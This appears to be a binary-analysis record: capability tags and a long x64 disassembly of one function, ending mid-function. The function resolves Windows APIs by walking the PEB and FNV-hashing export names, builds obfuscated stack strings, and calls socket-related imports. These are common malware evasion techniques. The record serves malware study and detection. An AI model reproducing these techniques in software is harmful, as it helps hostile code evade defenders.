Function at 0x140004f50
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140121218]
xor rax, rsp
mov qword [rbp + 0x38], rax
xor eax, eax
mov esi, 0xae511b61
mov qword [rbp - 0x28], rax
mov r14d, eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140005197
cmp word [rax + 0x48], 0
je 0x140005197
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
movups xmmword [rbp + 0x28], xmm0
sub cx, 8
test r14d, r14d
je 0x140005023
mov r9, qword [rbp + 0x30]
mov r10d, 0xcaafc55f
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
cmp r9, rbx
je 0x14000501a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, rbx
jne 0x140004ff0
cmp r10d, r14d
jne 0x140005197
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
mov edi, edx
shr r12, 0x20
add rdi, r11
cmp rdi, r11
je 0x140005197
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140005197
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec ebx
lea rcx, [rcx + rbx*2]
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov r13d, dword [rcx + r11]
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r13, r11
add r9, r11
mov qword [rbp + 0x28], r13
cmp r13, rdi
jbe 0x140005098
lea rcx, [rdi + r12]
cmp r13, rcx
jae 0x140005098
mov r15b, 1
jmp 0x14000509b
xor r15b, r15b
movzx ecx, byte [r9]
mov r10d, 0xcaafc55f
inc r9
test cl, cl
je 0x1400050db
nop dword [rax]
movsx edx, cl
lea r9, [r9 + 1]
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
movzx ecx, byte [r9 - 1]
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
test cl, cl
jne 0x1400050b0
cmp r10d, esi
je 0x1400050fb
mov ecx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
test ebx, ebx
jne 0x140005060
mov rax, qword [rax]
jmp 0x140004fa1
test r15b, r15b
je 0x14000519f
movzx edx, byte [r13]
mov esi, 0xcaafc55f
mov r14d, esi
cmp dl, 0x2e
je 0x140005148
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13 + 1]
cmova ecx, eax
inc r13
xor ecx, r14d
imul r14d, ecx, 0x1000193
cmp dl, 0x2e
jne 0x140005120
movzx edx, byte [r13 + 1]
inc r13
test dl, dl
je 0x140005186
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
lea r13, [r13 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r13]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test dl, dl
jne 0x140005160
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140004fa1
mov dl, 0xbd
mov r11b, 0xff
movzx eax, dl
movzx r10d, dl
and al, 0xf9
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
mov r8b, 0xb8
add cl, cl
movzx ebx, r11b
add dl, cl
mov eax, 0x2b
movzx ecx, r8b
mov byte [rsp + 0x50], dl
and cl, 0xfa
mov r9b, 0xcf
add cl, cl
xor r12d, r12d
sub al, cl
mov dword [rsp + 0x5b], r12d
add r8b, al
mov ecx, 0x16
movzx eax, r9b
mov byte [rsp + 0x51], r8b
and al, 0xfb
mov sil, 0x3a
sub cl, al
mov r14b, 0x39
add cl, cl
mov eax, 0x2d
add r9b, cl
mov r15b, 0xcc
movzx ecx, r10b
mov byte [rsp + 0x52], r9b
and cl, 0xfc
mov dil, 0x33
add cl, cl
add dil, 0x31
sub al, cl
mov byte [rsp + 0x57], dil
add r10b, al
mov ecx, 0x17
movzx eax, r11b
mov byte [rsp + 0x53], r10b
and al, 0xfd
sub cl, al
mov eax, 0x2f
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0xfe
mov byte [rsp + 0x54], r11b
add cl, cl
sub al, cl
mov ecx, 0x19
add bl, al
mov eax, 0x30
sub al, 2
mov byte [rsp + 0x55], bl
mov byte [rsp + 0x56], al
movzx eax, sil
and al, 1
sub cl, al
mov eax, 0x33
add cl, cl
add sil, cl
movzx ecx, r14b
and cl, 2
mov byte [rsp + 0x58], sil
add cl, cl
sub al, cl
mov ecx, 0x1a
add r14b, al
movzx eax, r15b
and al, 3
mov byte [rsp + 0x59], r14b
sub cl, al
add cl, cl
add r15b, cl
movzx ecx, r12b
mov byte [rsp + 0x5a], r15b
and cl, 4
mov eax, 0x35
add cl, cl
sub al, cl
mov ecx, 0x1b
lea edx, [rax + r12]
mov byte [rsp + 0x5b], dl
movzx edx, byte [rsp + 0x5c]
movzx eax, dl
and al, 5
sub cl, al
mov eax, 0x37
add cl, cl
add dl, cl
mov byte [rsp + 0x5c], dl
movzx edx, byte [rsp + 0x5d]
movzx ecx, dl
and cl, 6
add cl, cl
sub al, cl
mov ecx, 0x1c
add dl, al
mov byte [rsp + 0x5d], dl
movzx edx, byte [rsp + 0x5e]
movzx eax, dl
and al, 7
sub cl, al
mov eax, 0x39
add cl, cl
add dl, cl
movzx ecx, r12b
and cl, 8
mov byte [rsp + 0x5e], dl
add cl, cl
sub al, cl
lea rcx, [rsp + 0x50]
add r12b, al
mov byte [rsp + 0x5f], r12b
call r13
mov dl, 0xdd
mov eax, 0xb6
movzx ecx, dl
mov r8b, 0xd6
and cl, 0xb7
mov r9b, 0xd7
add cl, cl
mov r10b, 0x8e
sub al, cl
xor r12d, r12d
add dl, al
movzx ecx, r8b
and cl, 0xb8
mov byte [rsp + 0x50], dl
add cl, cl
mov eax, 0xb7
sub al, cl
mov r11b, 0x88
add r8b, al
movzx ecx, r9b
and cl, 0xb9
mov byte [rsp + 0x51], r8b
add cl, cl
mov eax, 0xb8
sub al, cl
xorps xmm0, xmm0
add r9b, al
movzx ecx, r10b
and cl, 0xba
mov byte [rsp + 0x52], r9b
add cl, cl
mov eax, 0xb9
sub al, cl
mov bl, 0x93
add r10b, al
mov dil, 0xd8
mov byte [rsp + 0x53], r10b
mov sil, 0xd3
mov r14b, 0xd2
mov r15b, 0xc1
movups xmmword [rsp + 0x5a], xmm0
movzx ecx, r11b
and cl, 0xbb
movd edx, xmm0
add cl, cl
mov eax, 0xba
sub al, cl
movzx ecx, bl
and cl, 0xbc
add r11b, al
add cl, cl
mov byte [rsp + 0x54], r11b
mov eax, 0xbb
sub al, cl
movzx ecx, dil
and cl, 0xbd
add bl, al
add cl, cl
mov byte [rsp + 0x55], bl
mov eax, 0xbc
sub al, cl
movzx ecx, sil
and cl, 0xbe
add dil, al
add cl, cl
mov byte [rsp + 0x56], dil
mov eax, 0xbd
sub al, cl
movzx ecx, r14b
and cl, 0xbf
add sil, al
add cl, cl
mov byte [rsp + 0x57], sil
mov eax, 0xbe
sub al, cl
movzx ecx, r15b
and cl, 0xc0
add r14b, al
add cl, cl
mov byte [rsp + 0x58], r14b
mov eax, 0xbf
sub al, cl
movzx ecx, dl
and cl, 0xc1
add r15b, al
add cl, cl
mov byte [rsp + 0x59], r15b
mov eax, 0xc0
sub al, cl
add dl, al
mov eax, 0xc1
mov byte [rsp + 0x5a], dl
movzx edx, byte [rsp + 0x5b]
movzx ecx, dl
and cl, 0xc2
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc2
mov byte [rsp + 0x5b], dl
movzx edx, byte [rsp + 0x5c]
movzx ecx, dl
and cl, 0xc3
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc3
mov byte [rsp + 0x5c], dl
movzx edx, byte [rsp + 0x5d]
movzx ecx, dl
and cl, 0xc4
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc4
mov byte [rsp + 0x5d], dl
movzx edx, byte [rsp + 0x5e]
movzx ecx, dl
and cl, 0xc5
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x5e], dl
movzx edx, byte [rsp + 0x5f]
mov eax, 0xc5
movzx ecx, dl
and cl, 0xc6
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc6
mov byte [rsp + 0x5f], dl
movzx edx, byte [rsp + 0x60]
movzx ecx, dl
and cl, 0xc7
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc7
mov byte [rsp + 0x60], dl
movzx edx, byte [rsp + 0x61]
movzx ecx, dl
and cl, 0xc8
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc8
mov byte [rsp + 0x61], dl
movzx edx, byte [rsp + 0x62]
movzx ecx, dl
and cl, 0xc9
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc9
mov byte [rsp + 0x62], dl
movzx edx, byte [rsp + 0x63]
movzx ecx, dl
and cl, 0xca
add cl, cl
sub al, cl
add dl, al
mov eax, 0xca
mov byte [rsp + 0x63], dl
movzx edx, byte [rsp + 0x64]
movzx ecx, dl
and cl, 0xcb
add cl, cl
sub al, cl
add dl, al
mov eax, 0xcb
mov byte [rsp + 0x64], dl
movzx edx, byte [rsp + 0x65]
movzx ecx, dl
and cl, 0xcc
add cl, cl
sub al, cl
add dl, al
mov eax, 0xcc
mov byte [rsp + 0x65], dl
movzx edx, byte [rsp + 0x66]
movzx ecx, dl
and cl, 0xcd
add cl, cl
sub al, cl
add dl, al
mov eax, 0xcd
mov byte [rsp + 0x66], dl
movzx edx, byte [rsp + 0x67]
movzx ecx, dl
and cl, 0xce
add cl, cl
sub al, cl
add dl, al
mov eax, 0xce
mov byte [rsp + 0x67], dl
movzx edx, byte [rsp + 0x68]
movzx ecx, dl
and cl, 0xcf
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x68], dl
movzx edx, byte [rsp + 0x69]
movzx ecx, dl
mov eax, 0xcf
and cl, 0xd0
add cl, cl
sub al, cl
movzx ecx, r12b
add dl, al
and cl, 0xd1
add cl, cl
mov byte [rsp + 0x69], dl
mov eax, 0xd0
sub al, cl
lea rcx, [rsp + 0x50]
add r12b, al
mov byte [rsp + 0x6a], r12b
call r13
xor eax, eax
mov dl, 0xb1
mov qword [rsp + 0x50], rax
movzx r8d, dl
mov word [rsp + 0x3d], ax
movzx ecx, dl
and cl, 0x2d
mov eax, 0xf2
add cl, cl
mov r9b, 0x9e
sub al, cl
mov r10b, 0xac
add dl, al
movzx ecx, r8b
and cl, 0x2e
mov byte [rsp + 0x30], dl
add cl, cl
mov eax, 0xf3
sub al, cl
mov r11b, 0x9a
add r8b, al
movzx ecx, r9b
and cl, 0x2f
mov byte [rsp + 0x31], r8b
add cl, cl
mov eax, 0xf4
sub al, cl
mov bl, 0x96
add r9b, al
movzx ecx, r10b
and cl, 0x30
mov byte [rsp + 0x32], r9b
add cl, cl
mov eax, 0xf5
sub al, cl
mov dil, 0x5d
add r10b, al
movzx ecx, r11b
and cl, 0x31
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0xf6
sub al, cl
mov sil, 0x59
add r11b, al
movzx ecx, bl
and cl, 0x32
mov byte [rsp + 0x34], r11b
add cl, cl
mov eax, 0xf7
sub al, cl
mov r14b, 0x5c
add bl, al
movzx ecx, dil
and cl, 0x33
mov byte [rsp + 0x35], bl
add cl, cl
mov eax, 0xf8
sub al, cl
mov r15b, 0xa9
add dil, al
mov r12b, 0x90
mov byte [rsp + 0x36], dil
mov r13b, 0x9f
movzx ecx, sil
mov r8, qword [rsp + 0x50]
and cl, 0x34
add cl, cl
mov dl, 2
mov eax, 0xf9
sub al, cl
movzx ecx, r14b
and cl, 0x35
add sil, al
add cl, cl
mov byte [rsp + 0x37], sil
mov eax, 0xfa
mov dword [rsp + 0x70], eax
sub al, cl
add r14b, al
movzx ecx, r15b
and cl, 0x36
mov byte [rsp + 0x38], r14b
add cl, cl
mov eax, 0xfb
sub al, cl
movzx ecx, r12b
and cl, 0x37
add r15b, al
add cl, cl
mov byte [rsp + 0x39], r15b
mov eax, 0xfc
sub al, cl
movzx ecx, r13b
and cl, 0x38
add r12b, al
add cl, cl
mov byte [rsp + 0x3a], r12b
mov eax, 0xfd
sub al, cl
movzx ecx, dl
add r13b, al
and cl, 0x39
add cl, cl
mov byte [rsp + 0x3b], r13b
mov eax, 0xfe
sub al, cl
movzx ecx, r8b
add dl, al
and cl, 0x3a
add cl, cl
mov byte [rsp + 0x3c], dl
mov eax, 0xff
sub al, cl
lea edx, [rax + r8]
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x3b
movzx eax, al
imul ecx, eax, 0xfe
mov eax, 1
add dl, cl
movzx ecx, r8b
and cl, 0x3c
mov byte [rsp + 0x3e], dl
add cl, cl
sub al, cl
lea rcx, [rsp + 0x30]
add r8b, al
mov byte [rsp + 0x3f], r8b
call qword [rbp + 0x28]
xor eax, eax
mov dl, 0xb3
mov qword [rsp + 0x50], rax
mov r8b, 0xa5
mov r9b, 0xbe
mov r10b, 0xb0
mov r11b, 0xa9
mov bl, 0xb9
mov dil, 0xbf
mov sil, 0x65
mov r14b, 0xb8
mov r15b, 0xa1
mov r12b, 0xa6
mov r13b, 0x53
mov dword [rsp + 0x3c], eax
movzx ecx, dl
and cl, 0x8a
mov word [rsp + 0x40], ax
add cl, cl
mov eax, 0xc4
sub al, cl
movzx ecx, r8b
and cl, 0x8b
add dl, al
add cl, cl
mov byte [rsp + 0x30], dl
mov eax, 0xc5
sub al, cl
movzx ecx, r9b
and cl, 0x8c
add r8b, al
add cl, cl
mov byte [rsp + 0x31], r8b
mov eax, 0xc6
sub al, cl
movzx ecx, r10b
and cl, 0x8d
add r9b, al
add cl, cl
mov byte [rsp + 0x32], r9b
mov eax, 0xc7
sub al, cl
movzx ecx, r11b
and cl, 0x8e
add r10b, al
add cl, cl
mov byte [rsp + 0x33], r10b
mov eax, 0xc8
sub al, cl
movzx ecx, bl
and cl, 0x8f
add r11b, al
add cl, cl
mov byte [rsp + 0x34], r11b
mov eax, 0xc9
sub al, cl
movzx ecx, dil
and cl, 0x90
add bl, al
add cl, cl
mov byte [rsp + 0x35], bl
mov eax, 0xca
sub al, cl
movzx ecx, sil
and cl, 0x91
add dil, al
add cl, cl
mov byte [rsp + 0x36], dil
mov eax, 0xcb
sub al, cl
movzx ecx, r14b
and cl, 0x92
add sil, al
add cl, cl
mov byte [rsp + 0x37], sil
mov eax, 0xcc
sub al, cl
movzx ecx, r15b
and cl, 0x93
add r14b, al
add cl, cl
mov byte [rsp + 0x38], r14b
mov eax, 0xcd
sub al, cl
movzx ecx, r12b
add r15b, al
and cl, 0x94
add cl, cl
mov byte [rsp + 0x39], r15b
mov eax, 0xce
sub al, cl
movzx ecx, r13b
add r12b, al
mov byte [rsp + 0x3a], r12b
and cl, 0x95
mov r8, qword [rsp + 0x50]
add cl, cl
mov eax, 0xcf
sub al, cl
movzx ecx, r8b
and cl, 0x96
add r13b, al
add cl, cl
mov byte [rsp + 0x3b], r13b
mov eax, 0xd0
sub al, cl
lea edx, [rax + r8]
mov eax, 0xd1
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x97
add cl, cl
sub al, cl
add dl, al
mov eax, 0xd2
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0x98
add cl, cl
sub al, cl
add dl, al
mov eax, 0xd3
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x99
add cl, cl
sub al, cl
movzx ecx, r8b
add dl, al
and cl, 0x9a
add cl, cl
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x41]
mov eax, 0xd4
sub al, cl
movzx ecx, dl
add r8b, al
and cl, 0x9b
add cl, cl
mov byte [rsp + 0x40], r8b
mov eax, 0xd5
sub al, cl
lea rcx, [rsp + 0x30]
add dl, al
mov byte [rsp + 0x41], dl
call qword [rbp + 0x28]
xor eax, eax
mov dl, 0x1b
mov qword [rsp + 0x50], rax
mov ecx, 0x36
mov qword [rsp + 0x3c], rax
mov r8b, 5
mov dword [rsp + 0x44], eax
mov r9b, 0x17
movzx eax, dl
mov r10b, 0x1f
and al, 0x6e
mov r11b, 0x1c
sub cl, al
mov bl, 0x46
add cl, cl
mov dil, 0x40
add dl, cl
mov sil, 0x45
movzx ecx, r8b
mov byte [rsp + 0x30], dl
and cl, 0x6f
mov r14b, reloc.WS2_32.dll_recv
add cl, cl
mov r15b, 0x19
mov r12b, 0x16
mov r13b, 0x7b
mov eax, WSAGetLastError
sub al, cl
mov ecx, 0x37
add r8b, al
movzx eax, r9b
and al, 0x70
mov byte [rsp + 0x31], r8b
sub cl, al
mov r8, qword [rsp + 0x50]
add cl, cl
mov eax, reloc.WS2_32.dll_WSAGetLastError
add r9b, cl
movzx ecx, r10b
and cl, 0x71
mov byte [rsp + 0x32], r9b
add cl, cl
sub al, cl
mov ecx, 0x38
add r10b, al
movzx eax, r11b
and al, 0x72
mov byte [rsp + 0x33], r10b
sub cl, al
mov eax, 0x71
add cl, cl
add r11b, cl
movzx ecx, bl
and cl, 0x73
mov byte [rsp + 0x34], r11b
add cl, cl
sub al, cl
mov ecx, 0x39
add bl, al
movzx eax, dil
and al, 0x74
mov byte [rsp + 0x35], bl
sub cl, al
mov eax, 0x73
add cl, cl
add dil, cl
movzx ecx, sil
and cl, 0x75
mov byte [rsp + 0x36], dil
add cl, cl
sub al, cl
mov ecx, 0x3a
add sil, al
movzx eax, r14b
and al, 0x76
mov byte [rsp + 0x37], sil
sub cl, al
mov eax, 0x75
add cl, cl
add r14b, cl
movzx ecx, r15b
and cl, 0x77
mov byte [rsp + 0x38], r14b
add cl, cl
sub al, cl
mov ecx, 0x3b
add r15b, al
movzx eax, r12b
and al, 0x78
mov byte [rsp + 0x39], r15b
sub cl, al
mov eax, 0x77
add cl, cl
add r12b, cl
movzx ecx, r13b
and cl, 0x79
mov byte [rsp + 0x3a], r12b
add cl, cl
sub al, cl
mov ecx, 0x3c
add r13b, al
mov dword [rbp - 0x30], ecx
movzx eax, r8b
mov byte [rsp + 0x3b], r13b
and al, 0x7a
sub cl, al
add cl, cl
lea edx, [rcx + r8]
add byte [rsp + 0x42], 0x7e
mov eax, 0x79
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x7b
add cl, cl
sub al, cl
mov ecx, 0x3d
add dl, al
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x7c
sub cl, al
mov eax, 0x7b
add cl, cl
add dl, cl
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x7d
add cl, cl
sub al, cl
mov ecx, 0x3e
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x7e
sub cl, al
mov eax, 0x7d
add cl, cl
add dl, cl
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x7f
add cl, cl
sub al, cl
add dl, al
mov eax, 0x7f
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x81
add cl, cl
sub al, cl
movzx ecx, r8b
add dl, al
and cl, 0x82
add cl, cl
mov byte [rsp + 0x43], dl
mov eax, 0x80
sub al, cl
lea edx, [rax + r8]
mov eax, 0x81
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x83
add cl, cl
sub al, cl
add dl, al
mov eax, 0x82
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0x84
add cl, cl
sub al, cl
add dl, al
mov eax, 0x83
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x85
add cl, cl
sub al, cl
add dl, al
mov byte [rsp + 0x47], dl
movzx ecx, r8b
mov eax, 0x84
and cl, 0x86
add cl, cl
sub al, cl
lea rcx, [rsp + 0x30]
add r8b, al
mov byte [rsp + 0x48], r8b
call qword [rbp + 0x28]
mov r9b, 0x94
mov r11b, 0x97
movzx edi, r9b
mov dl, 0xc7
movzx ecx, dl
movzx ebx, r11b
and cl, 0xb6
mov eax, 0xbc
add cl, cl
mov r8b, 0xda
sub al, cl
mov r10b, 0xe0
add dl, al
movzx ecx, r8b
and cl, 0xb7
mov byte [rsp + 0x30], dl
add cl, cl
mov eax, 0xbd
sub al, cl
xor r13d, r13d
add r8b, al
mov qword [rsp + 0x3b], r13
movzx ecx, r9b
mov word [rsp + 0x43], r13w
and cl, 0xb8
mov byte [rsp + 0x31], r8b
add cl, cl
mov eax, 0xbe
sub al, cl
mov sil, 0xe3
add r9b, al
movzx ecx, r10b
and cl, 0xb9
mov byte [rsp + 0x32], r9b
add cl, cl
mov eax, 0xbf
sub al, cl
mov r14b, 0xd8
add r10b, al
movzx ecx, r11b
and cl, 0xba
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0xc0
sub al, cl
mov r15b, 0xd9
add r11b, al
movzx ecx, bl
and cl, 0xbb
mov byte [rsp + 0x34], r11b
add cl, cl
mov eax, 0xc1
sub al, cl
mov r12b, 0x3a
add bl, al
movzx ecx, dil
and cl, 0xbc
mov byte [rsp + 0x35], bl
add cl, cl
mov eax, 0xc2
sub al, cl
movzx ecx, sil
add dil, al
and cl, 0xbd
add cl, cl
mov byte [rsp + 0x36], dil
mov eax, 0xc3
sub al, cl
add sil, al
movzx eax, r14b
and al, 0xbe
mov byte [rsp + 0x37], sil
add al, al
mov ecx, 0xc4
sub cl, al
mov edx, 0xc7
add r14b, cl
movzx eax, r15b
and al, 0xbf
mov byte [rsp + 0x38], r14b
add al, al
mov ecx, 0xc5
sub cl, al
movzx eax, r12b
add r15b, cl
and al, 0xc0
add al, al
mov byte [rsp + 0x39], r15b
mov ecx, 0xc6
sub cl, al
movzx eax, r13b
add r12b, cl
and al, 0xc1
add al, al
mov byte [rsp + 0x3a], r12b
sub dl, al
mov eax, 0xc8
lea ecx, [rdx + r13]
movzx edx, byte [rsp + 0x3c]
mov byte [rsp + 0x3b], cl
movzx ecx, dl
and cl, 0xc2
add cl, cl
sub al, cl
add dl, al
mov eax, 0xc9
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0xc3
add cl, cl
sub al, cl
add dl, al
mov eax, 0xca
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0xc4
add cl, cl
sub al, cl
add dl, al
mov eax, 0xcb
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0xc5
add cl, cl
sub al, cl
add dl, al
mov eax, 0xcc
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0xc6
add cl, cl
sub al, cl
add dl, al
mov eax, 0xcd
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0xc7
add cl, cl
sub al, cl
add dl, al
mov eax, 0xce
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0xc8
add cl, cl
sub al, cl
add dl, al
movzx ecx, r13b
mov byte [rsp + 0x42], dl
and cl, 0xc9
mov eax, 0xcf
add cl, cl
mov r12d, 0xd1
sub al, cl
lea edx, [rax + r13]
mov eax, 0xd0
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0xca
add cl, cl
sub al, cl
movzx ecx, r13b
add dl, al
and cl, 0xcb
add cl, cl
mov byte [rsp + 0x44], dl
mov eax, r12d
sub al, cl
lea rcx, [rsp + 0x30]
add r13b, al
mov byte [rsp + 0x45], r13b
mov r13, qword [rbp + 0x28]
call r13
mov dl, 0x64
mov eax, 0x80
movzx ecx, dl
mov r8b, 0xb2
and cl, 0x40
xor r15d, r15d
add cl, cl
mov qword [rsp + 0x39], r15
sub al, cl
mov dword [rsp + 0x41], r15d
add dl, al
movzx ecx, r8b
and cl, 0x41
mov byte [rsp + 0x30], dl
add cl, cl
mov eax, 0x81
sub al, cl
mov r9b, 0x66
add r8b, al
movzx ecx, r9b
and cl, 0x42
mov byte [rsp + 0x31], r8b
add cl, cl
mov eax, 0x82
sub al, cl
mov r10b, 0xba
add r9b, al
movzx ecx, r10b
and cl, 0x43
mov byte [rsp + 0x32], r9b
add cl, cl
mov eax, 0x83
sub al, cl
mov r11b, 0xaa
add r10b, al
movzx ecx, r11b
and cl, 0x44
mov byte [rsp + 0x33], r10b
add cl, cl
mov eax, 0x84
sub al, cl
mov bl, 0x61
add r11b, al
movzx ecx, bl
and cl, 0x45
mov byte [rsp + 0x34], r11b
add cl, cl
mov eax, 0x85
sub al, cl
mov dil, 0x6a
add bl, al
mov sil, 0x6b
mov byte [rsp + 0x35], bl
mov r14b, 0x88
movzx ecx, dil
mov eax, 0x86
and cl, 0x46
add cl, cl
sub al, cl
movzx ecx, sil
and cl, 0x47
add dil, al
add cl, cl
mov byte [rsp + 0x36], dil
mov eax, 0x87
sub al, cl
movzx ecx, r14b
and cl, 0x48
add sil, al
add cl, cl
mov byte [rsp + 0x37], sil
mov eax, 0x88
sub al, cl
movzx ecx, r15b
and cl, 0x49
add r14b, al
add cl, cl
mov byte [rsp + 0x38], r14b
mov eax, 0x89
sub al, cl
lea edx, [rax + r15]
mov eax, 0x8a
mov byte [rsp + 0x39], dl
movzx edx, byte [rsp + 0x3a]
movzx ecx, dl
and cl, 0x4a
add cl, cl
sub al, cl
add dl, al
mov eax, 0x8b
mov byte [rsp + 0x3a], dl
movzx edx, byte [rsp + 0x3b]
movzx ecx, dl
and cl, 0x4b
add cl, cl
sub al, cl
add dl, al
mov eax, 0x8c
mov byte [rsp + 0x3b], dl
movzx edx, byte [rsp + 0x3c]
movzx ecx, dl
and cl, 0x4c
add cl, cl
sub al, cl
add dl, al
mov eax, 0x8d
mov byte [rsp + 0x3c], dl
movzx edx, byte [rsp + 0x3d]
movzx ecx, dl
and cl, 0x4d
add cl, cl
sub al, cl
add dl, al
mov eax, 0x8e
mov byte [rsp + 0x3d], dl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0x4e
add cl, cl
sub al, cl
add dl, al
mov eax, 0x8f
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x4f
add cl, cl
sub al, cl
add dl, al
mov eax, 0x90
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0x50
add cl, cl
sub al, cl
movzx ecx, r15b
add dl, al
and cl, 0x51
add cl, cl
mov byte [rsp + 0x40], dl
mov eax, 0x91
sub al, cl
lea edx, [rax + r15]
mov eax, 0x92
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0x52
add cl, cl
sub al, cl
add dl, al
mov eax, 0x93
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x53
add cl, cl
sub al, cl
add dl, al
mov eax, 0x94
mov byte [rsp + 0x43], dl
movzx edx, byte [rsp + 0x44]
movzx ecx, dl
and cl, 0x54
add cl, cl
sub al, cl
movzx ecx, r15b
add dl, al
and cl, 0x55
add cl, cl
mov byte [rsp + 0x44], dl
mov eax, 0x95
sub al, cl
lea rcx, [rsp + 0x30]
add r15b, al
mov byte [rsp + 0x45], r15b
call r13
mov cl, 0xe4
mov r8b, 0xe5
movzx eax, cl
mov r9b, 0xe2
and al, 0xb4
xor r14d, r14d
add al, al
mov word [rsp + 0x49], r14w
mov r15d, 0xc8
xorps xmm0, xmm0
sub r15b, al
mov r10b, 0xa2
add cl, r15b
movzx eax, r12b
and al, 0xb5
mov byte [rsp + 0x30], cl
add al, al
mov ecx, 0xc9
sub cl, al
mov r11b, 0xe9
movzx eax, r8b
movzx ebx, r9b
and al, 0xb6
mov dil, 0xe3
add al, al
mov sil, 0x50
lea edx, [rcx + r12]
mov ecx, 0xca
sub cl, al
mov byte [rsp + 0x31], dl
add r8b, cl
movzx eax, r9b
and al, 0xb7
mov byte [rsp + 0x32], r8b
add al, al
mov ecx, 0xcb
sub cl, al
movups xmmword [rsp + 0x39], xmm0
add r9b, cl
movzx eax, r10b
and al, 0xb8
mov byte [rsp + 0x33], r9b
add al, al
mov ecx, 0xcc
sub cl, al
mov edx, 0xd2
add r10b, cl
movzx eax, r11b
and al, 0xb9
mov byte [rsp + 0x34], r10b
add al, al
mov ecx, 0xcd
sub cl, al
movzx eax, bl
and al, 0xba
add r11b, cl
add al, al
mov byte [rsp + 0x35], r11b
